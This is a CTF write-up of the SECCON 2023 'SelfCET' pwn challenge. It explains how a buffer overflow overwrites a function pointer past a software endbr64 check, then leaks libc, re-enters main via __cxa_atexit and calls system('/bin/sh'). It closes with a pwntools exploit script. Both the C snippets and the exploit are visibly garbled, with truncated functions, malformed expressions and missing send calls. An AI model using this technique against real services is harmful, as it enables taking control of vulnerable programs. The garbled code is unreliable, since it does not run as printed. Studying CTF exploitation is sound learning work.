SECCON CTF Quals 2023: SelfCET (pwn)

· Marco Pellero, Domingo Dirutigliano

SECCON CTF Quals 2023: SelfCET (pwn) Marco Pellero, Domingo Dirutigliano

This challenge is a simple XOR encoder: it reads a key and a message, both 32-byte strings, XORs them together and prints the result. Example:

[KEY] 888
[MSG] nop

The key and the message are stored in a struct with some error-handling features:

struct {
	char key[32];
	char buf[32];
	const char* error;
	int status;
	void (*throw)(int, const char*, ...);
} ctx_t;

When an error occurs error is set to a relevant message, status is set to EXIT_FAILURE, a check is performed on throw() to prevent it from derailing control flow, and then it is called with error and status as parameters.

For example, here’s how reading input from the user is implemented:

void read_member(ctx_t *ctx, off_t offset, size_t size) {
	if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
		ctx->status = EXIT_FAILURE;
		ctx->error = "I/O Error";
	ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
	if (ctx->status != 0) {
		CFI(ctx->throw)(ctx->status, ctx->error);

I had never seen the type off_t before, it’s used here to choose which field of the ctx_t struct to read; it just indicates the field’s offset (for example, buf’s offset is 32).

The control-flow check performed on throw() is implemented as a macro CFI that we can see being used in the failure branch, this is what the macro looks like:

#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f) \
	({ \
		if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
			__builtin_trap(); \
		(f); \

This is just a weird way to check that the first assembly instruction of throw() is endbr64, and crash the process if it isn’t.

By googling a bit I learned about CET (Control-Flow Enforcement Technology) and CFI (Control-Flow Integrity), which are security measures used to prevent control-flow corruption techniques like ROP chains. Put simply, if we mark the start of functions with endbr64, when performing a call on a function pointer (like throw()) if we find that we’re not jumping to an endbr64, we know we’re performing an invalid jump, and that there has been an attempt to corrupt the control flow. These checks are performed by the CPU and only work if the CPU, the OS, libraries, and the program itself all support and use CET; this program implements a software CET instead.

Looking at when the user input is read, we can see we have 2 buffer overflows:

int main() {
	ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
	read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
	read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx)); // definitely OOB!
	write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
	return 0;

It’s reading sizeof(ctx) bytes instead of sizeof(key) and sizeof(buf) (both are 32 bytes). We’re able to first overwrite the whole ctx struct, and then also overwrite 32 bytes outside of it and into main’s frame pointer, though this isn’t very useful since there’s the canary.

Since we can overwrite throw(), we have an arbitrary call with 2 controlled parameters, but we have no leaks; the binary isn’t PIE, but we’re limited to functions starting with endbr64, and there aren’t any useful ones in the binary itself.

We can leak the libc by setting error to a GOT entry, but err() also calls exit(); we need some way to leak the libc without also crashing.. We can achieve this via a partial overwrite, and by looking at endbr64 occurrences near err(), i found warn(), which behaves like printf().

So with my first payload, I’ll set the status to a GOT entry (it’s then passed as the first parameter to throw()), and overwrite the lower bytes of throw() to point to warn().

Now read_member() is called again, and I can call any libc function I want. I can’t call one_gadgets because they don’t start with endbr64, and I can’t call system() because the first parameter must be a pointer to “/bin/sh”, but it’s nowhere in the binary’s memory, and since status is an int I can only pass a 4-byte number, and libc addresses are much bigger than that.

I wasn’t able to find a way to spawn a shell or read the flag from here, so I tried to find ways to jump to main again, which I can’t do directly because it doesn’t start with endbr64 (_init() does, but it checks if it’s already been called once, and if so doesn’t start main).

What I ended up doing is calling atexit() to register main() as an exit handler, which means that before closing the program, main() will be called again, and I can perform a second stage of my attack, in which I first call gets() to read “/bin/sh” into memory, and then system() using this address.

Here’s the final exploit:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./xor")
libc = ELF("./")

context.binary = exe

io = process("./xor")

# leak libc by printing a GOT entry via a partial overwrite (throw goes from err() to warn())
payload = b'\n' + b'A'*63 + p64(["err"])*2 + b"\x10\x10"

io.recvuntil(b": ")
leak = u64(io.recv(6).ljust(8, b'\0'))
libc.address = leak - libc.sym["err"]"libc @ {hex(libc.address)}")

payload = b'\n' + b'A'*31 + flat(1, exe.sym["main"], libc.sym["__cxa_atexit"])
io.send(payload)"Registered main as an exit handler, starting again")

# read '/bin/sh' into memory so we can use it to call system()
payload = b'\n' + b'A'*63 + flat(1, exe.bss(0x100), libc.sym["gets"])

# finally, call system()
payload = b'\n' + b'A'*31 + flat(1, exe.bss(0x100), libc.sym["system"])


Enjoy hacking!